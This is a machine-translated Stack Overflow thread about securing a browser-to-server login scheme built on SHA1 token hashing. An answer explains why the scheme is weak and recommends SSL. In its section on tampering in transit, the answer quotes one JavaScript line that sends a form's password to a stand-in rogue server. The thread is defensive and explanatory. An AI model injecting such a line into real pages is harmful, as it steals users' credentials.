Web身份验证 - 如何安全地将用户名/密码从客户端传输到服务器

Bas*_*hir 4 javascript security authentication encryption passwords

我有一个我试图启动的Web应用程序(Java).用户需要登录系统才能使用这些功能.因此,此应用程序有两个部分:
1)用户注册
2)登录
我关心的是我的方法将用户名/密码数据从Web浏览器传输到服务器的安全性.

注册

由于我不确定如何安全地将数据从Web浏览器发送到服务器,因此我很遗憾.

登录

我有以下设置:

<< 客户 >> --------------------------------------------- --------- << 服务器 >>
[ 请求令牌 ] ------------------------------- ------------------------------ >>
<< -------------- [ 发送来自会话ID的randomely生成的令牌 ]
[ Client Computes hashedSecret = SHA1(token + SHA1(password)) ]
[ Send Array:[username,hashedSecret] ] ---------------- ------------------- >>
[ 服务器从数据库查询用户名的SHA1(密码) ]
[ 服务器计算expectedSecret = SHA1(令牌+ SHA1(密码)) ]
[ 服务器将hashedSecret与expectedSecret进行比较 ]


我想知道的是如何安全地注册用户以及我的登录是否足够安全.

谢谢

Que*_*tin 9

似乎......过于复杂.只需使用SSL,它就是行业标准,对银行来说已经足够了.


drf*_*drf 8

当然,它是否"足够安全"只是您可以作为系统所有者回答的问题.如果您的预期对手不熟练且没有动力,并且身份验证失败的影响很小,那么就是这样.如果您要保护任何具有重要价值的东西,那么它可能不是一个足够安全的解决方案.

以下是一些可能容易受到攻击的攻击媒介.

中间人攻击:

 Client          Eavesdropper            Server
 Requests token-------X----------------------->
 <--------------------X-------------Sends token
 Sends PW hash--------X
                      Relays client hash ------>
                      X<-----------Authenticates
Run Code Online (Sandbox Code Playgroud)

窃听者侦听客户端的身份验证响应,然后将其中继到服务器.服务器验证其正确性并验证窃听者.

脱机密码哈希攻击

可以在客户端和服务器之间读取消息的窃听者将具有用于生成散列的令牌和逻辑(来自JavaScript).因此,攻击者将知道H(token + H(password)),token以及密码哈希算法(SHA1)H(x)在哪里H.

然后,攻击者可以针对客户端响应运行字典攻击来猜测密码,攻击者可以尝试使用字典攻击和类似方法离线破解密码.由于攻击者不需要对服务器进行身份验证,而是可以离线破解密码,因此可以快速破解中等弱密码.

修改传输中的服务器消息

客户端无法保证服务器消息的完整性,并且可能在传输过程中修改消息.例如,恶意中介可以在HTML页面中插入一行JavaScript,通过DOM拦截密码并将其发送到恶意服务器.(例如,流氓中介可能会插入new Image().src='http://www.rogueserver.xy/a.gif?password=' + document.forms[0].password.value表单提交方法.)

重播攻击

如果服务器令牌以足够的频率重复,则窃听者可以捕获成功的令牌/响应对.然后,攻击者可以发出大量令牌请求,等待已知令牌被回收.然后,攻击者将已知的令牌响应重播到服务器.服务器将攻击者的响应与预期响应进行比较,并对攻击者进行身份验证.

认证后攻击

会话通过身份验证后,客户端和服务器消息将继续以明文形式发送.攻击者可能会使用客户端的会话cookie作为经过身份验证的客户端进行会话劫持攻击.攻击者还可能拦截服务器和客户端之间的机密数据,或者更改传输中的数据,从而危及客户端/服务器通信的机密性,完整性和不可否认性.例如,客户端可能会发送执行响应BenignAction,攻击者在传输过程中进行更改GetSecretData.然后攻击者读取表面上包含秘密数据的响应.

这就是说,所提出的方法可能不比以明文形式发送密码更安全.如果担心安全性,那么将SSL与来自可信CA的证书一起使用(实际意图)将有效地防止所有这些攻击.